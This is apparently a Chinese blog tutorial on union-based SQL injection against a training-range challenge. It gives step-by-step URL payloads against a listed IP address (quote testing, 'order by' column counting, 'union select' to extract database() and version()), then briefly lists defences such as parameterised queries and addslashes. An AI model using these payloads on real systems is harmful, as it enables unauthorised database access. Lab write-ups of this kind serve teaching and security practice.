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本题用封神台靶场，第一道拯救女神小芳-猫舍的题作为例子

1.判断与数据库交互的地方是否存在注入点

方法：加入单引号' 使数据库报错，说明存在注入点

2.判断字段数

用order by 或者group by

59.63.200.79:8003/?id=1 order by 1    //如果不报错则至少要有一个字段，进行第二个测试，直到报错为止

59.63.200.79:8003/?id=1 order by  3  //如果3 报错，证明有2个字段

3.查找回显点

59.63.200.79:8003/?id=1 and 1=2 union select 1,2 from admin

//这里的1,2可以换成别的，只要保证有两个字段就可以，

//admin 是数据库的名称，可以用爆字段，爆表的方法查出来，具体自行百度

这时，在页面中就会出现相应的数字，就是我们要找的回显点，比如页面上出现数字2，我们就把2的位置改为
我们想要知道的信息

4.找出信息

59.63.200.79:8003/?id=1 and 1=2 union select 1,database() from admin

这时，数据库的名称就会显示在原来显示2的位置上，

同理，database（）可以换成version()等

https://blog.csdn.net/xiaoduanDDG
https://blog.csdn.net/xiaoduanddg/category_9461564.html
https://so.csdn.net/so/search/s.do?q=sql%25E6%25B3%25A8%25E5%2585%25A5%25E5%258E%259F%25E7%2590%2586&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E9%2598%25B2%25E6%25AD%25A2sql%25E6%25B3%25A8%25E5%2585%25A5&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/xiaoduanDDG/article/details/102763651
https://blog.csdn.net/xiaoduanddg/category_9461564.html


总结：1.以上为简单注入，如果修改url被拦截，需要使用工具，进行cookie注入，方法一样

2.sql注入 分为1.char型2.int型，主要利用单引号的闭合原理，将输入的sql 语句与数据库进行交互，实现增 删
改 查功能

3.防止sql 注入的方法：

数据库参数化，

字符转译：addslashes（）

过滤
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